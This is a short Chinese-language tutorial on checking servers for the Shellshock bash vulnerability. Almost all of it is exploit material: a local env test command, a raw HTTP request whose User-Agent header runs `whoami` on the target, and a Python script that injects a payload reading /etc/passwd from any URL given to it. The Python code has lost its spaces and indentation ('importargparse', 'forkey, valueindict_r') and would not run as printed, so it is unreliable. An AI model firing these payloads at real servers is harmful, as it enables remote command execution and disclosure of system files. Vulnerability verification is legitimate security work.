0x01本地漏洞验证
Bash版本小于等于4.3可能存在漏洞
可以使用如下命令查看bash版本:
root@kali:~#bash --version
本地验证,使用如下命令:
root@kali:~#env x='() { :;}; echo vulnerable' bash –c "echo This is a test"
若存在漏洞,将会回显:
vulnerable
This is a test
0x02远程验证
GET / HTTP/1.1
Host:xxxx.xxx.xxx.xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; echo; echo `whoami`;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


0x03python3验证
import
requests
importargparse
# 获取参数
parser = argparse.ArgumentParser()
parser.add_argument('-u', dest="url")
args = parser.parse_args()
url = args.url
# 设置headers,进行验证
headers = {'user-agent':'() { :;}; echo `/bin/cat /etc/passwd`'}
try:
r = requests.get(url, headers=headers)
if(r.status_code == requests.codes.ok):
dict_r = r.headers.items()
forkey, valueindict_r:
print("{}: {}".format(key, value))
exceptExceptionase:
print(str(e))
相关资料:https://www.freebuf.com/news/48331.html
网友评论